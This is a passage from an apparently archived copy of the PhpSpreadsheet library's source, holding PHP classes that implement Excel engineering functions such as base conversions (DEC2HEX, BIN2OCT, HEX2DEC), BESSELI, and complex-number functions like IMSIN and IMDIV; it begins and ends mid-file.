#NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toHex($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateDecimal($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } $value = floor((float) $value); if ($value > self::LARGEST_HEX_IN_DECIMAL || $value < self::SMALLEST_HEX_IN_DECIMAL) { return ExcelError::NAN(); } $r = strtoupper(dechex((int) $value)); $r = self::hex32bit($value, $r); return self::nbrConversionFormat($r, $places); } public static function hex32bit(float $value, string $hexstr, bool $force = false): string { if (PHP_INT_SIZE === 4 || $force) { if ($value >= 2 ** 32) { $quotient = (int) ($value / (2 ** 32)); return strtoupper(substr('0' . dechex($quotient), -2) . $hexstr); } if ($value < -(2 ** 32)) { $quotient = 256 - (int) ceil((-$value) / (2 ** 32)); return strtoupper(substr('0' . dechex($quotient), -2) . substr("00000000$hexstr", -8)); } if ($value < 0) { return "FF$hexstr"; } } return $hexstr; } /** * toOctal. * * Return an decimal value as octal. * * Excel Function: * DEC2OCT(x[,places]) * * @param array|bool|float|int|string $value The decimal integer you want to convert. If number is negative, * places is ignored and DEC2OCT returns a 10-character (30-bit) * octal number in which the most significant bit is the sign bit. * The remaining 29 bits are magnitude bits. Negative numbers are * represented using two's-complement notation. * If number < -536,870,912 or if number > 536,870,911, DEC2OCT * returns the #NUM! error value. * If number is nonnumeric, DEC2OCT returns the #VALUE! error value. * If DEC2OCT requires more than places characters, it returns the * #NUM! error value. * Or can be an array of values * @param array|int $places The number of characters to use. If places is omitted, DEC2OCT uses * the minimum number of characters necessary. Places is useful for * padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, DEC2OCT returns the #VALUE! error value. * If places is zero or negative, DEC2OCT returns the #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toOctal($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateDecimal($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } $value = (int) floor((float) $value); if ($value > self::LARGEST_OCTAL_IN_DECIMAL || $value < self::SMALLEST_OCTAL_IN_DECIMAL) { return ExcelError::NAN(); } $r = decoct($value); $r = substr($r, -10); return self::nbrConversionFormat($r, $places); } protected static function validateDecimal(string $value): string { if (strlen($value) > preg_match_all('/[-0123456789.]/', $value)) { throw new Exception(ExcelError::VALUE()); } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/BesselI.php000064400000011005151676714400023773 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class BesselI { use ArrayEnabled; /** * BESSELI. * * Returns the modified Bessel function In(x), which is equivalent to the Bessel function evaluated * for purely imaginary arguments * * Excel Function: * BESSELI(x,ord) * * NOTE: The MS Excel implementation of the BESSELI function is still not accurate. * This code provides a more accurate calculation * * @param mixed $x A float value at which to evaluate the function. * If x is nonnumeric, BESSELI returns the #VALUE! error value. * Or can be an array of values * @param mixed $ord The integer order of the Bessel function. * If ord is not an integer, it is truncated. * If $ord is nonnumeric, BESSELI returns the #VALUE! error value. * If $ord < 0, BESSELI returns the #NUM! error value. * Or can be an array of values * * @return array|float|string Result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BESSELI(mixed $x, mixed $ord): array|string|float { if (is_array($x) || is_array($ord)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $x, $ord); } try { $x = EngineeringValidations::validateFloat($x); $ord = EngineeringValidations::validateInt($ord); } catch (Exception $e) { return $e->getMessage(); } if ($ord < 0) { return ExcelError::NAN(); } $fResult = self::calculate($x, $ord); return (is_nan($fResult)) ? ExcelError::NAN() : $fResult; } private static function calculate(float $x, int $ord): float { return match ($ord) { 0 => self::besselI0($x), 1 => self::besselI1($x), default => self::besselI2($x, $ord), }; } private static function besselI0(float $x): float { $ax = abs($x); if ($ax < 3.75) { $y = $x / 3.75; $y = $y * $y; return 1.0 + $y * (3.5156229 + $y * (3.0899424 + $y * (1.2067492 + $y * (0.2659732 + $y * (0.360768e-1 + $y * 0.45813e-2))))); } $y = 3.75 / $ax; return (exp($ax) / sqrt($ax)) * (0.39894228 + $y * (0.1328592e-1 + $y * (0.225319e-2 + $y * (-0.157565e-2 + $y * (0.916281e-2 + $y * (-0.2057706e-1 + $y * (0.2635537e-1 + $y * (-0.1647633e-1 + $y * 0.392377e-2)))))))); } private static function besselI1(float $x): float { $ax = abs($x); if ($ax < 3.75) { $y = $x / 3.75; $y = $y * $y; $ans = $ax * (0.5 + $y * (0.87890594 + $y * (0.51498869 + $y * (0.15084934 + $y * (0.2658733e-1 + $y * (0.301532e-2 + $y * 0.32411e-3)))))); return ($x < 0.0) ? -$ans : $ans; } $y = 3.75 / $ax; $ans = 0.2282967e-1 + $y * (-0.2895312e-1 + $y * (0.1787654e-1 - $y * 0.420059e-2)); $ans = 0.39894228 + $y * (-0.3988024e-1 + $y * (-0.362018e-2 + $y * (0.163801e-2 + $y * (-0.1031555e-1 + $y * $ans)))); $ans *= exp($ax) / sqrt($ax); return ($x < 0.0) ? -$ans : $ans; } private static function besselI2(float $x, int $ord): float { if ($x === 0.0) { return 0.0; } $tox = 2.0 / abs($x); $bip = 0; $ans = 0.0; $bi = 1.0; for ($j = 2 * ($ord + (int) sqrt(40.0 * $ord)); $j > 0; --$j) { $bim = $bip + $j * $tox * $bi; $bip = $bi; $bi = $bim; if (abs($bi) > 1.0e+12) { $ans *= 1.0e-12; $bi *= 1.0e-12; $bip *= 1.0e-12; } if ($j === $ord) { $ans = $bip; } } $ans *= self::besselI0($x) / $bi; return ($x < 0.0 && (($ord % 2) === 1)) ? -$ans : $ans; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ConvertBinary.php000064400000016311151676714400025237 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ConvertBinary extends ConvertBase { /** * toDecimal. * * Return a binary value as decimal. * * Excel Function: * BIN2DEC(x) * * @param array|bool|float|int|string $value The binary number (as a string) that you want to convert. The number * cannot contain more than 10 characters (10 bits). The most significant * bit of number is the sign bit. The remaining 9 bits are magnitude bits. * Negative numbers are represented using two's-complement notation. * If number is not a valid binary number, or if number contains more than * 10 characters (10 bits), BIN2DEC returns the #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toDecimal($value) { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } try { $value = self::validateValue($value); $value = self::validateBinary($value); } catch (Exception $e) { return $e->getMessage(); } if (strlen($value) == 10 && $value[0] === '1') { // Two's Complement $value = substr($value, -9); return '-' . (512 - bindec($value)); } return (string) bindec($value); } /** * toHex. * * Return a binary value as hex. * * Excel Function: * BIN2HEX(x[,places]) * * @param array|bool|float|int|string $value The binary number (as a string) that you want to convert. The number * cannot contain more than 10 characters (10 bits). The most significant * bit of number is the sign bit. The remaining 9 bits are magnitude bits. * Negative numbers are represented using two's-complement notation. * If number is not a valid binary number, or if number contains more than * 10 characters (10 bits), BIN2HEX returns the #NUM! error value. * Or can be an array of values * @param null|array|float|int|string $places The number of characters to use. If places is omitted, BIN2HEX uses the * minimum number of characters necessary. Places is useful for padding the * return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, BIN2HEX returns the #VALUE! error value. * If places is negative, BIN2HEX returns the #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toHex($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateBinary($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } if (strlen($value) == 10 && $value[0] === '1') { $high2 = substr($value, 0, 2); $low8 = substr($value, 2); $xarr = ['00' => '00000000', '01' => '00000001', '10' => 'FFFFFFFE', '11' => 'FFFFFFFF']; return $xarr[$high2] . strtoupper(substr('0' . dechex((int) bindec($low8)), -2)); } $hexVal = (string) strtoupper(dechex((int) bindec($value))); return self::nbrConversionFormat($hexVal, $places); } /** * toOctal. * * Return a binary value as octal. * * Excel Function: * BIN2OCT(x[,places]) * * @param array|bool|float|int|string $value The binary number (as a string) that you want to convert. The number * cannot contain more than 10 characters (10 bits). The most significant * bit of number is the sign bit. The remaining 9 bits are magnitude bits. * Negative numbers are represented using two's-complement notation. * If number is not a valid binary number, or if number contains more than * 10 characters (10 bits), BIN2OCT returns the #NUM! error value. * Or can be an array of values * @param null|array|float|int|string $places The number of characters to use. If places is omitted, BIN2OCT uses the * minimum number of characters necessary. Places is useful for padding the * return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, BIN2OCT returns the #VALUE! error value. * If places is negative, BIN2OCT returns the #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toOctal($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateBinary($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } if (strlen($value) == 10 && $value[0] === '1') { // Two's Complement return str_repeat('7', 6) . strtoupper(decoct((int) bindec("11$value"))); } $octVal = (string) decoct((int) bindec($value)); return self::nbrConversionFormat($octVal, $places); } protected static function validateBinary(string $value): string { if ((strlen($value) > preg_match_all('/[01]/', $value)) || (strlen($value) > 10)) { throw new Exception(ExcelError::NAN()); } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ComplexFunctions.php000064400000046430151676714400025757 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use Complex\Complex as ComplexObject; use Complex\Exception as ComplexException; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ComplexFunctions { use ArrayEnabled; /** * IMABS. * * Returns the absolute value (modulus) of a complex number in x + yi or x + yj text format. * * Excel Function: * IMABS(complexNumber) * * @param array|string $complexNumber the complex number for which you want the absolute value * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMABS(array|string $complexNumber): array|float|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return $complex->abs(); } /** * IMARGUMENT. * * Returns the argument theta of a complex number, i.e. the angle in radians from the real * axis to the representation of the number in polar coordinates. * * Excel Function: * IMARGUMENT(complexNumber) * * @param array|string $complexNumber the complex number for which you want the argument theta * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMARGUMENT(array|string $complexNumber): array|float|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return ExcelError::DIV0(); } return $complex->argument(); } /** * IMCONJUGATE. * * Returns the complex conjugate of a complex number in x + yi or x + yj text format. * * Excel Function: * IMCONJUGATE(complexNumber) * * @param array|string $complexNumber the complex number for which you want the conjugate * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMCONJUGATE(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->conjugate(); } /** * IMCOS. * * Returns the cosine of a complex number in x + yi or x + yj text format. * * Excel Function: * IMCOS(complexNumber) * * @param array|string $complexNumber the complex number for which you want the cosine * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMCOS(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->cos(); } /** * IMCOSH. * * Returns the hyperbolic cosine of a complex number in x + yi or x + yj text format. * * Excel Function: * IMCOSH(complexNumber) * * @param array|string $complexNumber the complex number for which you want the hyperbolic cosine * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMCOSH(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->cosh(); } /** * IMCOT. * * Returns the cotangent of a complex number in x + yi or x + yj text format. * * Excel Function: * IMCOT(complexNumber) * * @param array|string $complexNumber the complex number for which you want the cotangent * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMCOT(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->cot(); } /** * IMCSC. * * Returns the cosecant of a complex number in x + yi or x + yj text format. * * Excel Function: * IMCSC(complexNumber) * * @param array|string $complexNumber the complex number for which you want the cosecant * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMCSC(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->csc(); } /** * IMCSCH. * * Returns the hyperbolic cosecant of a complex number in x + yi or x + yj text format. * * Excel Function: * IMCSCH(complexNumber) * * @param array|string $complexNumber the complex number for which you want the hyperbolic cosecant * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMCSCH(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->csch(); } /** * IMSIN. * * Returns the sine of a complex number in x + yi or x + yj text format. * * Excel Function: * IMSIN(complexNumber) * * @param array|string $complexNumber the complex number for which you want the sine * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMSIN(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->sin(); } /** * IMSINH. * * Returns the hyperbolic sine of a complex number in x + yi or x + yj text format. * * Excel Function: * IMSINH(complexNumber) * * @param array|string $complexNumber the complex number for which you want the hyperbolic sine * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMSINH(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->sinh(); } /** * IMSEC. * * Returns the secant of a complex number in x + yi or x + yj text format. * * Excel Function: * IMSEC(complexNumber) * * @param array|string $complexNumber the complex number for which you want the secant * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMSEC(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->sec(); } /** * IMSECH. * * Returns the hyperbolic secant of a complex number in x + yi or x + yj text format. * * Excel Function: * IMSECH(complexNumber) * * @param array|string $complexNumber the complex number for which you want the hyperbolic secant * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMSECH(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->sech(); } /** * IMTAN. * * Returns the tangent of a complex number in x + yi or x + yj text format. * * Excel Function: * IMTAN(complexNumber) * * @param array|string $complexNumber the complex number for which you want the tangent * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMTAN(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->tan(); } /** * IMSQRT. * * Returns the square root of a complex number in x + yi or x + yj text format. * * Excel Function: * IMSQRT(complexNumber) * * @param array|string $complexNumber the complex number for which you want the square root * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMSQRT(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } $theta = self::IMARGUMENT($complexNumber); if ($theta === ExcelError::DIV0()) { return '0'; } return (string) $complex->sqrt(); } /** * IMLN. * * Returns the natural logarithm of a complex number in x + yi or x + yj text format. * * Excel Function: * IMLN(complexNumber) * * @param array|string $complexNumber the complex number for which you want the natural logarithm * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMLN(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return ExcelError::NAN(); } return (string) $complex->ln(); } /** * IMLOG10. * * Returns the common logarithm (base 10) of a complex number in x + yi or x + yj text format. * * Excel Function: * IMLOG10(complexNumber) * * @param array|string $complexNumber the complex number for which you want the common logarithm * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMLOG10(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return ExcelError::NAN(); } return (string) $complex->log10(); } /** * IMLOG2. * * Returns the base-2 logarithm of a complex number in x + yi or x + yj text format. * * Excel Function: * IMLOG2(complexNumber) * * @param array|string $complexNumber the complex number for which you want the base-2 logarithm * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMLOG2(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return ExcelError::NAN(); } return (string) $complex->log2(); } /** * IMEXP. * * Returns the exponential of a complex number in x + yi or x + yj text format. * * Excel Function: * IMEXP(complexNumber) * * @param array|string $complexNumber the complex number for which you want the exponential * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMEXP(array|string $complexNumber): array|string { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return (string) $complex->exp(); } /** * IMPOWER. * * Returns a complex number in x + yi or x + yj text format raised to a power. * * Excel Function: * IMPOWER(complexNumber,realNumber) * * @param array|string $complexNumber the complex number you want to raise to a power * Or can be an array of values * @param array|float|int|string $realNumber the power to which you want to raise the complex number * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMPOWER(array|string $complexNumber, array|float|int|string $realNumber): array|string { if (is_array($complexNumber) || is_array($realNumber)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $complexNumber, $realNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } if (!is_numeric($realNumber)) { return ExcelError::VALUE(); } return (string) $complex->pow((float) $realNumber); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ComplexOperations.php000064400000010505151676714400026124 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use Complex\Complex as ComplexObject; use Complex\Exception as ComplexException; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ComplexOperations { use ArrayEnabled; /** * IMDIV. * * Returns the quotient of two complex numbers in x + yi or x + yj text format. * * Excel Function: * IMDIV(complexDividend,complexDivisor) * * @param array|string $complexDividend the complex numerator or dividend * Or can be an array of values * @param array|string $complexDivisor the complex denominator or divisor * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMDIV(array|string $complexDividend, array|string $complexDivisor): array|string { if (is_array($complexDividend) || is_array($complexDivisor)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $complexDividend, $complexDivisor); } try { return (string) (new ComplexObject($complexDividend))->divideby(new ComplexObject($complexDivisor)); } catch (ComplexException) { return ExcelError::NAN(); } } /** * IMSUB. * * Returns the difference of two complex numbers in x + yi or x + yj text format. * * Excel Function: * IMSUB(complexNumber1,complexNumber2) * * @param array|string $complexNumber1 the complex number from which to subtract complexNumber2 * Or can be an array of values * @param array|string $complexNumber2 the complex number to subtract from complexNumber1 * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMSUB(array|string $complexNumber1, array|string $complexNumber2): array|string { if (is_array($complexNumber1) || is_array($complexNumber2)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $complexNumber1, $complexNumber2); } try { return (string) (new ComplexObject($complexNumber1))->subtract(new ComplexObject($complexNumber2)); } catch (ComplexException) { return ExcelError::NAN(); } } /** * IMSUM. * * Returns the sum of two or more complex numbers in x + yi or x + yj text format. * * Excel Function: * IMSUM(complexNumber[,complexNumber[,...]]) * * @param string ...$complexNumbers Series of complex numbers to add */ public static function IMSUM(...$complexNumbers): string { // Return value $returnValue = new ComplexObject(0.0); $aArgs = Functions::flattenArray($complexNumbers); try { // Loop through the arguments foreach ($aArgs as $complex) { $returnValue = $returnValue->add(new ComplexObject($complex)); } } catch (ComplexException) { return ExcelError::NAN(); } return (string) $returnValue; } /** * IMPRODUCT. * * Returns the product of two or more complex numbers in x + yi or x + yj text format. * * Excel Function: * IMPRODUCT(complexNumber[,complexNumber[,...]]) * * @param string ...$complexNumbers Series of complex numbers to multiply */ public static function IMPRODUCT(...$complexNumbers): string { // Return value $returnValue = new ComplexObject(1.0); $aArgs = Functions::flattenArray($complexNumbers); try { // Loop through the arguments foreach ($aArgs as $complex) { $returnValue = $returnValue->multiply(new ComplexObject($complex)); } } catch (ComplexException) { return ExcelError::NAN(); } return (string) $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ConvertHex.php000064400000017163151676714400024545 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ConvertHex extends ConvertBase { /** * toBinary. * * Return a hex value as binary. * * Excel Function: * HEX2BIN(x[,places]) * * @param array|bool|float|string $value The hexadecimal number you want to convert. * Number cannot contain more than 10 characters. * The most significant bit of number is the sign bit (40th bit from the right). * The remaining 9 bits are magnitude bits. * Negative numbers are represented using two's-complement notation. * If number is negative, HEX2BIN ignores places and returns a 10-character binary number. * If number is negative, it cannot be less than FFFFFFFE00, * and if number is positive, it cannot be greater than 1FF. * If number is not a valid hexadecimal number, HEX2BIN returns the #NUM! error value. * If HEX2BIN requires more than places characters, it returns the #NUM! error value. * Or can be an array of values * @param array|int $places The number of characters to use. If places is omitted, * HEX2BIN uses the minimum number of characters necessary. Places * is useful for padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, HEX2BIN returns the #VALUE! error value. * If places is negative, HEX2BIN returns the #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toBinary($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateHex($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } $dec = self::toDecimal($value); return ConvertDecimal::toBinary($dec, $places); } /** * toDecimal. * * Return a hex value as decimal. * * Excel Function: * HEX2DEC(x) * * @param array|bool|float|int|string $value The hexadecimal number you want to convert. This number cannot * contain more than 10 characters (40 bits). The most significant * bit of number is the sign bit. The remaining 39 bits are magnitude * bits. Negative numbers are represented using two's-complement * notation. * If number is not a valid hexadecimal number, HEX2DEC returns the * #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toDecimal($value) { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } try { $value = self::validateValue($value); $value = self::validateHex($value); } catch (Exception $e) { return $e->getMessage(); } if (strlen($value) > 10) { return ExcelError::NAN(); } $binX = ''; foreach (str_split($value) as $char) { $binX .= str_pad(base_convert($char, 16, 2), 4, '0', STR_PAD_LEFT); } if (strlen($binX) == 40 && $binX[0] == '1') { for ($i = 0; $i < 40; ++$i) { $binX[$i] = ($binX[$i] == '1' ? '0' : '1'); } return (string) ((bindec($binX) + 1) * -1); } return (string) bindec($binX); } /** * toOctal. * * Return a hex value as octal. * * Excel Function: * HEX2OCT(x[,places]) * * @param array|bool|float|int|string $value The hexadecimal number you want to convert. Number cannot * contain more than 10 characters. The most significant bit of * number is the sign bit. The remaining 39 bits are magnitude * bits. Negative numbers are represented using two's-complement * notation. * If number is negative, HEX2OCT ignores places and returns a * 10-character octal number. * If number is negative, it cannot be less than FFE0000000, and * if number is positive, it cannot be greater than 1FFFFFFF. * If number is not a valid hexadecimal number, HEX2OCT returns * the #NUM! error value. * If HEX2OCT requires more than places characters, it returns * the #NUM! error value. * Or can be an array of values * @param array|int $places The number of characters to use. If places is omitted, HEX2OCT * uses the minimum number of characters necessary. Places is * useful for padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, HEX2OCT returns the #VALUE! error * value. * If places is negative, HEX2OCT returns the #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toOctal($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateHex($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } $decimal = self::toDecimal($value); return ConvertDecimal::toOctal($decimal, $places); } protected static function validateHex(string $value): string { if (strlen($value) > preg_match_all('/[0123456789ABCDEF]/', $value)) { throw new Exception(ExcelError::NAN()); } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ConvertUOM.php000064400000105516151676714400024461 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ConvertUOM { use ArrayEnabled; public const CATEGORY_WEIGHT_AND_MASS = 'Weight and Mass'; public const CATEGORY_DISTANCE = 'Distance'; public const CATEGORY_TIME = 'Time'; public const CATEGORY_PRESSURE = 'Pressure'; public const CATEGORY_FORCE = 'Force'; public const CATEGORY_ENERGY = 'Energy'; public const CATEGORY_POWER = 'Power'; public const CATEGORY_MAGNETISM = 'Magnetism'; public const CATEGORY_TEMPERATURE = 'Temperature'; public const CATEGORY_VOLUME = 'Volume and Liquid Measure'; public const CATEGORY_AREA = 'Area'; public const 